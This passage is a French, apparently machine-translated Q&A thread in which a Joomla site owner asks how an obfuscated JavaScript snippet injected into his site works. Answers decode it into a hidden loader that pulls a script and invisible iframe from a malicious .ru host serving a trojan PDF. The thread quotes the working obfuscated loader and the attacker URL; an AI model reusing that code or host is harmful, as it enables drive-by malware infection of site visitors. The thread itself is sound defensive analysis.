93 votes

Comment cela fonctionne-t-il ?

Mon Joomla! site web de a à plusieurs reprises été piraté. Quelqu'un, quelque part, a réussi à injecter la suite de déchets à la clé des scripts php, mais je veux dire de ne pas parler de la configuration de Joomla. Le site n'est pas visité beaucoup (parfois j'ai peur, je dois être le seul visiteur de ce site...) et je n'ai pas beaucoup de soins pour avoir le site en place et en cours d'exécution. Je vais gérer que par la suite.

Ma question est, comment cette ordure de travail? Je la regarde et je ne vois pas comment cette parviennent à faire du mal? Ce qu'il fait c'est qu'il essaie de télécharger un fichier PDF nommé ChangeLog.pdf, qui est infecté par un cheval de troie et après l'ouverture de gel d'Acrobat et de causer des ravages sur votre machine. Comment faut-il faire, je ne sais pas, je n'ai pas de soins. Mais comment fonctionne la partie suivante du script invoquer le télécharger?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET a détecté ce code JS/TrojanDownloader.De l'Agent.NRO de troie

175voto

SLaks Points 391154

Avis de l' replace appel après le géant de désordre chaîne: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Il supprime la plupart des caractères spéciaux, en le transformant en une normale URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(J'ai modifié manuellement http: de evil:)

Notez que la regex aurait pu être simplifié à l' .replace(/[#$@^&()!]/ig, '')

Si vous regardez le script, vous verrez que c'est un script très simple qui consiste à injecter un caché IFRAME contenant le chemin d'accès /index.php?ys à partir du même domaine.

J'ai demandé à ce que la page dans un violon, et il n'avait pas de contenu.

32voto

i.ngen-io-us Points 2398

La réponse à ces questions peut vous aider à comprendre la nature du code JavaScript malveillant mais ce que vous devriez être à la recherche d'un moyen de combler la lacune inherant dans le moteur Joomla. Pré-emballés, les cadres sont sujettes à des lacunes, que ce soit intentionnel ou non, en particulier lorsque vous prenez en considération le fait qu'ils sont conçus pour fonctionner sur des systèmes unix, les environnements mac et windows.

Mon travail exige que j'ai de l'exécution de nombreux domaines, les applications et les cadres sur de nombreux types de serveurs et de systèmes pour les clients et moi-même. Au fil du temps, j'ai observé de plus en plus de robots de ramper ces systèmes à la recherche pour les lacunes/entrées par voies de porte arrière entrées créées par les cadres. Bonne chose lorsque je utiliser n'importe quel type de cadre, j'ai rarement faire, j'ai assurez-vous de renommer la plupart, si pas la totalité de la structure de fichier pour me débarrasser de ces satanés lacunes/back-doors. Au moins, vous pouvez renommer les répertoires qui va se débarrasser de la plupart des robots, mais à ma façon est d'éliminer complètement les références qui donnent des indices sur la nature de ce cadre, qui comprend le changement de nom de l'ensemble de la structure de fichiers et pas seulement les répertoires. Gardez toujours une carte de la nouvelle-conventions de nommage par rapport à l'ancien conventions de nommage afin de faire en ajoutant des plugins à votre cadre de base d'un composant logiciel enfichable. Une fois que vous obtenez le coup de cela, vous pouvez aller aussi loin que par programmation de renommer l'ensemble du cadre filestructure pour des résultats plus rapides, c'est surtout utile quand avoir à traiter avec des clients qui ont besoin d'être en mesure de mettre à jour leur cadre avec les plugins et la comme.

20voto

Russ Cam Points 58168

Il suffit de remplacer une regex sur l’URL du script pour vous donner

NOTE: NE SUIVEZ PAS LE LIEN SUIVANT (inséré ** pour dissuader les copieurs-copieurs)

 http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
 

comme src

8voto

Sarfraz Points 168484

Il utilise la fonction replace pour remplacer les caractères de type ordures en utilisant regex, rien à redire avec le code:

  ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
 

7voto

YOU Points 44812

Son script de chargement de

 h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
 

Et ce script charge iframe de avec visibilité hidden

 h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
 

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by: